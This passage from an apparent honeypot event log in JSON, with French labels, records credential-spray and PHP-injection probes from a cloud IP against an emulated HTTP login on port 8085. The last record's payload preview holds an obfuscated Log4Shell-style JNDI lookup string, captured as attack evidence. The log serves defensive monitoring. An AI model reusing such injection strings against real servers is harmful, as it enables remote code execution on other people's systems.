Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre_techniques\u0022: [\u0022T1078\u0022, \u0022T1110\u0022], \u0022mitre\u0022: \u0022T1078\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u002278e583488c352c4dce8d398f6d74f7091dbd00a9\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi\u0022, \u0022attack_vector\u0022: \u0022bruteforce credential spray \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 71\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 71, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 71, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8085, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1078\u0022, \u0022INT-beh-cred-stuff\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1078\u0022, \u0022Beh Cred Stuff\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1078\u0022, \u0022mitre_technique\u0022: \u0022T1078\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022bruteforce credential spray \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login\u0022, \u0022evidence_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228085\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 3, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022, \u0022http-alt-8085\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022http_credential_body\u0022, \u0022http_probe_login\u0022, \u0022http_ssti\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8085","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022http_credential_body\u0022, \u0022http_probe_login\u0022, \u0022http_ssti\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":1838},{"id":14680368,"ip":"34.19.116.51","ts":"2026-07-31 15:35:45.000000","proto":"tcp","src_port":62727,"dst_port":8085,"service":"http","classification":"bruteforce_credential_spray","waf_score":26,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022]","http_method":"POST","http_target":"\/login","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u00228307e910dac7083f4f0d52abcc8375f89d55b254\u0022, \u0022http_target_hash\u0022: \u0022c42c80aa06113268fddf90dfdc871fb7318ff5cf\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022POST\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 3238, \u0022payload_entropy\u0022: 4.5576337145786106, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8085, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 78.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 6.4, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 71, \u0022tag_count\u0022: 7, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002287f3f4327dc236f682739bdd03325c39c5bce462\u0022, \u0022event_fingerprint\u0022: \u0022282692495c02ca7c9d8c13132b2797a6074d4eee\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 121, \u0022precision_signals\u0022: [\u0022MITRE-T1078\u0022, \u0022INT-beh-cred-stuff\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1078\u0022, \u0022INT-beh-cred-stuff\u0022], \u0022matched_patterns\u0022: [\u0022pat-0842\u0022, \u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 921130 duplicate CL\u0022, \u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0842\u0022, \u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 71, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022credential_stuffing\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u002273a2dd06d4d740e37191ed8f4516517f\u0022, \u0022path_pattern_hash\u0022: \u00227e93fba0bc7adda858a2500090e639e4\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 71}, \u0022payload_preview\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi\u0022, \u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nContent-Length: 2976\\r\\nContent-Type: application\/x-www-form-urlencod\u0022, \u0022payload_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nContent-Length: 2976\\r\\nContent-Type: application\/x-www-form-urlencod\u0022, \u0022payload_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre_techniques\u0022: [\u0022T1078\u0022, \u0022T1110\u0022], \u0022mitre\u0022: \u0022T1078\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u002271c35b17661be462165a49cb820ffeb9e6a8594f\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi\u0022, \u0022attack_vector\u0022: \u0022bruteforce credential spray \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 71\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 71, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 71, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8085, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1078\u0022, \u0022INT-beh-cred-stuff\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1078\u0022, \u0022Beh Cred Stuff\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1078\u0022, \u0022mitre_technique\u0022: \u0022T1078\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022bruteforce credential spray \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login\u0022, \u0022evidence_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228085\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 3, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022, \u0022http-alt-8085\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022http_credential_body\u0022, \u0022http_probe_login\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8085","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022http_credential_body\u0022, \u0022http_probe_login\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":3238},{"id":14680308,"ip":"34.19.116.51","ts":"2026-07-31 15:35:44.000000","proto":"tcp","src_port":16134,"dst_port":8085,"service":"http-alt-8085","classification":"php_injection","waf_score":null,"waf_tags":null,"http_method":null,"http_target":null,"sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.866519490085901, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http-alt-8085\u0022, \u0022app_proto\u0022: \u0022http-alt-8085\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8085, \u0022risk_waf\u0022: 8.0, \u0022risk_classification\u0022: 84.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 22.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 4.0, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 84.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 22.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 52, \u0022tag_count\u0022: 0, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002222265b2478869482eb9206249e1fe16334e71a55\u0022, \u0022event_fingerprint\u0022: \u0022c7cbcc11dfcc2ec50410999dad51ff26e4ec6e62\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 70, \u0022precision_signals\u0022: [\u0022pat-0162\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0162\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 84.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 22.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 52, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http-alt-8085\u0022, \u0022risk_confidence_factor\u0022: 97.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022payload_hash\u0022: \u0022561c21e6f2a3490543edfff0634c5d4f\u0022, \u0022path_pattern_hash\u0022: \u0022765741bf96f2b0261b26b2b9f8ad710b\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8085, \u0022service\u0022: \u0022http-alt-8085\u0022, \u0022service_name\u0022: \u0022http-alt-8085\u0022, \u0022risk_score\u0022: 52}, \u0022payload_preview\u0022: \u0022ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m\u0022, 